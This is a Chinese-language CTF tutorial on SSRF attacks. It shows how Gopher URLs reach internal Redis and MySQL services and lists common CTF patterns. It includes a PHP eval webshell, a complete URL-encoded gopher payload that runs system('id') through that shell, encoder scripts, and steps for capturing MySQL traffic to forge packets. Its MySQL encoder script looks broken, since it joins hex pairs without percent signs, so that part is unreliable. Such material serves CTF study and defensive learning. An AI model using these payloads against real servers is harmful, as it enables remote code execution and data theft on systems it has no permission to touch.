CTF中SSRF的一些trick
字数 1316 2025-08-26 22:11:28
CTF中SSRF攻击技巧详解
1. SSRF基础概念
SSRF (Server-Side Request Forgery) 服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的漏洞。主要攻击目标是从外网无法访问的内部系统。
2. 常见攻击面
- 端口扫描:对外网、服务器所在内网、本地进行端口扫描,获取服务banner信息
- 应用程序攻击:攻击运行在内网或本地的应用程序(如溢出漏洞)
- 指纹识别:对内网WEB应用进行指纹识别,通过访问默认文件实现
- Web应用攻击:攻击内外网的web应用(如Struts2、SQL注入等)
- 文件读取:利用file协议读取本地文件
3. Gopher协议扩展攻击面
Gopher协议是SSRF攻击中的"万金油",可以构造多种攻击场景。
3.1 通过Gopher发送POST请求
攻击场景:内网有一个exp.php
<?php eval($_POST['a']);?>
攻击步骤:
- 本地搭建环境访问并抓包
- 获取原始请求数据
- 使用Python脚本编码:
import urllib
from urllib.parse import quote
s = 'xxxx' # 原始请求数据
len = len(s)
p = ''
for i in range(len)[::2]:
p += urllib.parse.quote(chr(int(s[i:i+2],16)))
print(p)
- 构造最终payload:
gopher://127.0.0.1:80/_POST%20/exp.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AUser-Agent%3A%20Mozilla/5.0%20%28Linux%3B%20Android%209.0%3B%20SAMSUNG-SM-T377A%20Build/NMF26X%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/72.0.3626.109%20Mobile%20Safari/537.36%0D%0AAccept%3A%20text/html%2Capplication/xhtml%2Bxml%2Capplication/xml%3Bq%3D0.9%2C%2A/%2A%3Bq%3D0.8%0D%0AAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.8%2Czh-TW%3Bq%3D0.7%2Czh-HK%3Bq%3D0.5%2Cen-US%3Bq%3D0.3%2Cen%3Bq%3D0.2%0D%0AAccept-Encoding%3A%20gzip%2C%20deflate%0D%0AReferer%3A%20http%3A//127.0.0.1/exp.php%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2025%0D%0AConnection%3A%20keep-alive%0D%0AUpgrade-Insecure-Requests%3A%201%0D%0A%0D%0Aa%3Dsystem%2528%2522id%2522%2529%253B
- 使用curl测试后,可进一步反弹shell
3.2 攻击内网Redis数据库
攻击前提:Redis未授权访问
攻击步骤:
- 通过SSRF探测内网Redis服务
- 构造Redis协议格式的攻击payload
- 通过Gopher协议发送恶意命令,如:
- 写入webshell
- 反弹shell
- 写入SSH密钥等
关键点:需要熟悉Redis协议格式,正确构造协议数据
3.3 攻击内网MySQL数据库
MySQL连接方式:
- Unix套接字
- 内存共享/命名管道
- TCP/IP套接字(Gopher攻击的基础)
攻击前提:
- MySQL无需密码认证或已知密码
- 配置文件中
skip_networking选项关闭 - 使用TCP/IP套接字连接(127.0.0.1而非localhost)
攻击步骤:
- 创建测试用户:
CREATE USER 'test'@'localhost';
GRANT ALL ON *.* TO 'test'@'localhost';
- 使用tcpdump抓包:
tcpdump -i lo port 3306 -w mysql.pcapng
- 连接MySQL并执行操作:
mysql -h 127.0.0.1 -uname
-
分析抓包数据,构造攻击payload
-
使用编码脚本生成Gopher payload:
#encoding:utf-8
def result(s):
a = [s[i:i+2] for i in xrange(0,len(s),2)]
return "curl gopher://127.0.0.1:3306/_" + "".join(a)
if __name__ == "__main__":
import sys
s = sys.argv[1]
print result(s)
攻击方式:
- 执行任意SQL查询获取数据
- 通过写文件获取webshell(需有写权限)
- UDF提权
4. CTF中的常见套路
- XSS+SSRF+Redis:通过XSS触发后台SSRF,利用Redis未授权访问获取权限
- 直接SSRF+端口扫描:给出SSRF点,要求扫描子网(3306是常见端口),通过Gopher攻击MySQL未授权
- 无回显情况:尝试写webshell或反弹shell
5. 关键注意事项
-
localhost与127.0.0.1的区别:
- localhost不经网卡传输,不受网络防火墙限制
- 127.0.0.1通过网卡传输,受防火墙限制
- 抓包必须使用127.0.0.1
-
MySQL配置检查:
- 确保
/etc/mysql/my.cnf中skip_networking关闭 - 确保使用TCP/IP套接字连接
- 确保
-
数据库版本匹配:构造攻击包时要选择和目标环境相同的数据库版本